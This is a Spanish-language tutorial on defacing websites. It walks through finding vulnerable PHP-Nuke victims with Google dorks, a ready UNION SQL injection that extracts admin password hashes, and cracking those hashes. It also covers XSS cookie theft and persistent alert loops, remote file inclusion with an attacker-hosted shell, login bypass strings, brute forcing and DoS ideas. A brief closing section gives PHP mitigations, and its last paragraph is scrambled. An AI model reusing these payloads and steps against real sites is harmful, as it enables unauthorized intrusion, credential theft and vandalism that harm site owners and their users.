You are on page 1of 5

deface web por sql.inyection by NACHOFALLER 1.- Ir a google.es y buscamos: inurl:modules.php?name=search modules.php?name=search 2.

.- Seleccionamos una victima y buscamos en la pagina un search una vez estando en el buscar se copia la inyeccion SQL Inyeccion SQL p0hh0nsee%') UNION ALL SELECT 1,2,aid p0hh0nsee%') UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/* nos devolvera el password del admin encriptado para desencriptar en la pagina: www.passcracking.com ************************************************Que es un deface?

Un deface consiste en modificar una web ajena a nosotros a nuestro antojo. Nuestro objetivo sera principalmente el index de la web ya que hay es donde suel en ir la mayoria de visitas. Para muchos defacear webs poniendo cosas similares a: "Defaced by quiensea FUCK OFF" es de lammers, yo no soy nadie para juzgar a los demas asi que no pienso de cir que esto es o no de lammers. Antes de nada quiero dejar claro que tirar una web utilizando DoS o Floods NO es un deface. Aunque tambien explicare un poco de eso ya que el conocimiento es po der y debe ser transmitido *************************** Buscando vulnerabilidades *************************** Lo primero de todo es recorrer la web buscando fallos por donde colarnos, los ne wbyes suelen utilizar programas que buscan vulnerabilidades como el Shadow Secur ity Scanner o el Acunetix, os advierto que estos programas dejan huellas y el ad ministrador del dominio se dara cuenta de que le han escaneado la web. Ademas que suelen ofrecerte mas de lo que hay de verdad. Pongamos que la web que queremos atacar esta hecha en php ( Si no sabes si es ph p simplemente fijate si en la url de la web aparece .php y si estuviera ocultada y solo se viese el domino prueba poniendo /index.php despues de la url). Los principales bugs que puedes encontrar en una web php estan en campos donde e l usuario puede interactuar cno la web, como ya sabreis esa es la principal vent aja de usar php ya que nos permite crear una web mas dinamica.

************************** XSS *************************** Pongamos que esta web tiene un buscador, vamos a probar "zero" como seguramente pasara pondra algo similar a Busqueda realizada: Zero, si esto sucede vamos a pr obar suerte con XSS. XSS es una vulnerabilidad que consiste en poder ejecutar codigo, ya sea html o j avascript, en webs ajenas a nosotros. Si en nuestro buscador pusieramos <script>alert("Zero")</script> y nos aparecier a una ventana de alerta quiere decir que acabamos de encontrar una vulnerabilida d XSS. Los XSS son fallos del programador, cuando programamos con php y estamos permiti endo al usuario insertar datos en nuestra web debemos asegurarnos de utilizar la funcin de php htmlspecialchars($string) donde la variable string es la cadena d e texto que queremos bloquear asi si alguien pusiera <b>Zero</b> pondria eso exa ctamente y no zero en negrita. Al encontrar una vulnerabilidad xss pueden suceder dos cosas: 1- Puede que no guarde el registro y por lo tanto nosotros podremos insertar cod igo pero la demas gente que visite la web no se percatara de nada, si sucede est o lo maximo que podemos hacer es mandarle un mail al admin de la web que conteng a un enlace con el codigo en javascript necesario para cojer su cookie y asi nos otros podriamos entrar como admin pero para hacer esto hace falta mucha suerte y a que si el admin es precavido no se fiara. Al igual que podemos robar la cookie al admin podriamos hacerlo a cualquier otro usuario de la web simplemente hacie ndo que pulse un enlace, esto puede ser muy util para hacer phishing, ya que si la web es por ejemplo de hosting podriamos sacar su direccion, tlf, etc. 2- Que la web guarda lo que se escribe y luego lo pone. Si este fuera el caso po driamos rehacer la web a nuestro antojo. Esta segunda opcion suele pasar en libr os de visitas y demas sitios donde la gente deja comentarios. Por ejemplo, podri amos poner: <script> while(1) alert("zero")</script> al insertar este codigo cada vez que alguien entre en la web le aparecera una ve ntana de alerta que no podra cerrar a no ser que cierre el navegador. Por cierto en la seccion de retos teneis para practicar un poco Como ejemplo de XSS tenemos un reto en la web (www.zerooo.es/reto1.php) ****************** RFI ****************** Otra tecnica para defacear muy popular es el RFI (Remote File Inclusion). Con esta vulnerabilidad podemos incluir archivos remotos desde otros servidores, un ejemplo de esta vulnerabilidad seria: <?php include($pagina); ?> como podemos ver estamos incluyendo $pagina, esto normalmente pasara por variabl e y por lo tanto muchas veces podremos editar estas variables ya sea porque pasan por url o cualquier otro metodo. pongamos que tenmos la web victima.com/index.php?page=http://[Nuestra web para a tacar], tendriamos que subir una shell a nuestra web guardarla como .gif por ejemplo y l uego ejecutar codigs desde la shell asi por ejemplo: victima.com/index.php?page=shell.gif?cmd=[aqu el comando] Que podemos hacer con esto? Pues de todo ya que tenemos control utilizando la sh ell.

Si no tuvieramos los permisos necesarios para jugar a nuestro gusto con la web s iempre podriamos utilizar exploits para escalar privilegios pero como no quiero hacer demasiado extenso este tutorial lo dejaremos para el siguiente.

********************** Inyeccion SQL **********************

Bueno vamos a explicar lo que son las inyecciones sql, una inyeccion sql consist e en introducir codigo sql por algun fallo normalmente del programador. Todo se entiende mejor con un ejemplo ^^ <?php $sql= SELECT * FROM users WHERE nick = '$nick' AND pass = '$pass'; ?> pongamos que tenemos este codigo, que podemos hacer para tener acceso como admin sin tener la contrasea? Pues facil (no tan facil) vamos a intentar hacer creer que no necesita la pass. Vamos a poner de nick admin y de contra ' OR ''=' por lo tanto quedaria algo com o... $sql = SELECT * FROM users WHERE nick = 'admin' AND pass= '' OR ''=''; y que significa esto? Pues le estamos diciendo a nuestra base de datos que selec cione todos los usuarios con nombre "admin" y en el que la contrasea sea nada o n ada sea igual a nada es decir que la contrasea ya no sirve para nada xD. Pero las inyecciones SQL no se quedan solo en poder entrar como admin, os recomi endo que leais un poco sobre SQL porque hay comandos muy pero que muy interesant es. Con una inyeccion SQL podriamos desde hacer un flood a la base de datos hasta bo rrarle toda la base de datos.

*********************** Y si nada de esto funciona? ***********************

No te preocues si tu victima no es vulnerable a ninguno de estos ataques ya que estos tres metodos no son todos. Por ejemplo.. Podemos comprobar la version del servidor ya que si esta no esta a ctualizado tambien podriamos utilizar exploits para atacarle, o si la web tiene un foro podemos hacer lo mismo, tambien son una posible victima los foros, lo pr imero que debemos hacer es buscar informacion sobre la version del foro, eso sue le estar en la parte inferior de la portada, despues vamos a www.milworm.com y buscamos si hay algun exploit para esa version. Hay foros como los php-nukes q ue si no estan actualizados son facilisimos de defacear ya que con una simple inyeccion sql podemos sacar la pass del admin en md5, y co mo se puede descodificar un md5? pues muy facil...

****************** Como sacar un md5? ******************

Bueno realmente un crackeador de md5 no es algo muy complejo ya que lo unico que hace es ir probando, por ejemplo tenemos un md5 que descifrado pone pistacho pu es nuestro crackeador lo que hace es probar letra por letras hasta que pistacho en md5 es igual al codigo md5 que estamos buscando. Para descifrar un md5 podemos buscar en webs que poseen bases de datos con md5 o tambien podemos buscarnos un crackeador como el cain y abel. Yo explicare como hacerlo con cain y abel, podemos bajarlo de esta misma web sol o con ir a la seccion descargas. Abrimos el cain, pulsamos en la pestaa cracker luego a la izquierda le damos a md 5 hashes, boton de la derecha y a add list. Podemos elegir crackear el md5 usando diccionarios o por fuerza bruta yo suelo u tilizar primero fuerza bruta solo de numeros ya que es rapido y te sorprenderia saber la cantidad de gente que utiliza contraseas como 12345 o similares. Si esto tampoco funciona siguen habiendo posibilidades...

********************** Ataques por fuerza bruta **********************

Los ataques de fuerza bruta funcionan igual que crackear un md5, lo unico que ha ce falta es un crackeador por fuerza bruta y suerte. Si sabemos el nick que queremos conseguir ya tenemos media batalla ganada. Podem os crackear tanto un ftp como el login de una web si tenemos suerte y la contrasea es de 5 o 6 digitos puede ser relativamente rapi do pero como el admin sea precavido y tenga una contrasea de 10 digitos que conte gan numeros y letras... ya vamos a necesitar muucha paciencia.

************************ No hay web 100% segura ************************ Siempre nos queda un as en la manga y podemos recurrir al feo tema de los DoS, f loods y demas. Yo, personalmente, no he usado nunca un ataque de este tipo ni ac onsejo a nadie utilizarlo pero como pienso que el conocimiento debe compartirse vamos a hablar un poco de estos ataques. Pongamos que necesitamos dejar fuera de combate nuestra web victima y no nos imp orta la etica ni la moral, pues en ese caso nada mejor que un DoS, mediante los p2p puedes infectar muchos ordenadores que por ejemplo, descarguen algo de la we b que pese bastante como un archivo o una imagen grande, esto haria gastar mas ancho de banda del normal y si este ataque se efectua entr e bastantes ordenadores y el hosting no es muy bueno podria acabar a los visitan tes de esa web con las ganas de poder entrar o hacer que su visita sea muy pero que muy lenta. Tambien estan los floods, que seria por ejemplo en el apartado de registro de un a web sin captcha crear un programa que rellene el formulario y lo envie repetid amente y llegara un momento en el que la base de datos dira basta y dejara duran te un rato sin poder registrarse a nadie. Aunque personalmente no le veo la grac ia a esto...

************************* Como solucionar estos fallos? ************************* Ahora nos pondremos del lado del webmaster y vamos a intentar evitar que seamos nosotros las victimas de estos ataques. Para evitar los ataques XSS podemos utilizar la funcion de php htmlspecialchars( $string) que lo que hace es convertir esos caracteres html que la web interpreta en caracteres no representativos para la web y asi puede leerlos sin problemas, como ya dije mas arriba. Para evitar ataques RFI lo mejor es no incluir archivos que no sabemos de donde proceden por ejemplo, si tenemos este codigo: if($_GET['menu']){ $menu=$_GET['menu']; switch($menu){ case "retos": include("retos.php"); break; default: include($menu); break; } Ese codigo lo que hace es permitir que si no sabe que archivo debe incluir inclu ye el que el usuario pida, ojo a estas cosas. Tambien podemos evitar que nos incluyan archivos externos editando el php.ini, p oniendo: allow_url_fopen=off Y para evitar las inyecciones sql podemos modificar las urls que van dirigidas a la base de datos. Recomiendo en las bases de datos poner los minimos privilegio s posibles para los usuarios asi nos evitamos que nos borren la tabla o cosas si milares y cojer solo lo que necesitemos en las consultas de la base de datos, en vez de cojer toda la base de datos y luego solo poner lo que necesites coje sol o lo que necesites. Si el dato que se nos va a enviar a la base de datos es nume rico comprueba que realmente es numerico por ejemplo asi: $id = (int)$_GET['id']; y por ultimo recomiendo comprobar las cadenas con la funcion de php mysql_escape _string(), esta funcion lo que hace es limpiar los "caracteres magicos" que pued en joder la consulta. Para que nuestra web uestros registros de atos con Captcha. Si na campo mas o menos no sea victima de floods lo que podemos hacer es proteger n usuario y dems sitios de la web donde el usuario introduce d tienes un foro recomiendo poner en el registro de usuario u para evitar que vengan bots a llenarnos de mierda el foro.